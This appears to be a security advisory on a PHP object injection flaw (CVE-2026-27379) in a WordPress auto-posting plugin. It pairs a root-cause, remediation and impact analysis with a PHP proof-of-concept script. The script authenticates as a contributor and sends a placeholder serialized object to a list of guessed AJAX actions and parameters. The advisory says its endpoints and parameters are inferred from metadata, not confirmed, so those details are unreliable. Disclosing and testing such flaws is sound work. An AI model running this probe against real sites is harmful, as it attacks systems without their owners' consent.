Atomic Edge analysis of CVE-2026-27379 (metadata-based):
This vulnerability in the NextScripts Social Networks Auto-Poster WordPress plugin (versions ≤4.4.7) allows authenticated attackers with contributor-level privileges or higher to perform PHP object injection via deserialization of untrusted input. The vulnerability resides in a plugin component that processes serialized data without proper validation.
Atomic Edge research identifies the root cause as CWE-502: Deserialization of Untrusted Data. The plugin likely accepts serialized PHP objects via a user-controlled parameter (POST/GET variable, cookie, or stored option) and passes this data directly to PHP’s unserialize() function without validation. This inference stems directly from the CWE classification and vulnerability description. No code diff confirms the exact vulnerable function, but WordPress plugin patterns suggest AJAX handlers, REST endpoints, or admin panel form processors as probable entry points.
Exploitation requires an authenticated attacker with at least contributor-level access. The attacker crafts a serialized PHP object payload containing malicious properties. They submit this payload to a specific plugin endpoint, likely /wp-admin/admin-ajax.php with an action parameter matching a plugin AJAX hook (e.g., action=nxs_* or action=nextscripts_*). Alternative vectors include REST API endpoints (/wp-json/nextscripts/v*/) or admin POST handlers (/wp-admin/admin-post.php). The payload triggers object instantiation during deserialization. While no known POP chain exists in the plugin itself, successful exploitation depends on available gadget chains in other installed themes or plugins.
Remediation requires replacing unsafe deserialization with safe alternatives. The fix should replace unserialize() with json_decode() for data interchange, or implement strict type checking before deserialization. If serialized PHP objects are necessary, the plugin must implement a whitelist of allowed classes using PHP’s allowed_classes option in unserialize(). The plugin should also validate and sanitize all user input before processing.
Impact is severe when a viable POP chain exists. Attackers can achieve remote code execution, arbitrary file deletion, or sensitive data exposure. The CVSS score of 7.5 (High) reflects the high impact combined with the requirement for contributor-level access and the need for a secondary gadget chain. Successful exploitation compromises the entire WordPress installation and potentially the underlying server.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-27379 - NextScripts: Social Networks Auto-Poster <= 4.4.7 - Authenticated (Contributor+) PHP Object Injection
<?php
/*
* Proof of Concept for CVE-2026-27379
* Assumptions based on metadata:
* 1. Vulnerability exists in an AJAX or REST endpoint
* 2. The endpoint accepts serialized data via a POST parameter
* 3. Contributor-level authentication is required
* 4. No specific POP chain is known, so this PoC demonstrates payload delivery
*
* This script requires valid WordPress contributor credentials and a target URL.
* It attempts to send a serialized object to a likely vulnerable endpoint.
*/
$target_url = 'https://example.com/wp-admin/admin-ajax.php'; // CHANGE THIS
$username = 'contributor_user'; // CHANGE THIS
$password = 'contributor_password'; // CHANGE THIS
// First, authenticate to WordPress to obtain cookies
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => str_replace('/wp-admin/admin-ajax.php', '/wp-login.php', $target_url),
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url,
'testcookie' => '1'
]),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEJAR => '/tmp/cookies.txt',
CURLOPT_COOKIEFILE => '/tmp/cookies.txt',
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false
]);
$response = curl_exec($ch);
// Check authentication success by looking for dashboard redirect or error
if (strpos($response, 'Dashboard') === false && strpos($response, 'wp-admin') === false) {
die('Authentication failed. Check credentials.');
}
// Craft a serialized object payload.
// This is a generic Serializable class example. Real exploitation requires a viable POP chain.
$malicious_object = 'O:8:"TestClass":1:{s:4:"data";s:10:"evil_value";}';
// Common plugin AJAX action patterns inferred from plugin slug
$possible_actions = [
'nxs_process',
'nextscripts_ajax',
'social_networks_auto_poster_action',
'snp_ajax_handler',
'nxs_snap_ajax'
];
// Common parameter names that might accept serialized data
$possible_params = ['data', 'options', 'settings', 'serialized', 'config'];
foreach ($possible_actions as $action) {
foreach ($possible_params as $param) {
curl_setopt_array($ch, [
CURLOPT_URL => $target_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'action' => $action,
$param => $malicious_object,
'nonce' => '123456' // Nonce may be required; vulnerability may bypass it
]),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEFILE => '/tmp/cookies.txt',
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
echo "Trying action: {$action}, param: {$param}n";
echo "HTTP Code: {$http_code}n";
echo "Response length: " . strlen($response) . "nn";
// Look for signs of deserialization errors or unusual responses
if (strpos($response, 'unserialize') !== false ||
strpos($response, 'PHP') !== false ||
$http_code == 500) {
echo "Potential vulnerability indicator found.n";
}
sleep(1); // Rate limiting
}
}
curl_close($ch);
?>
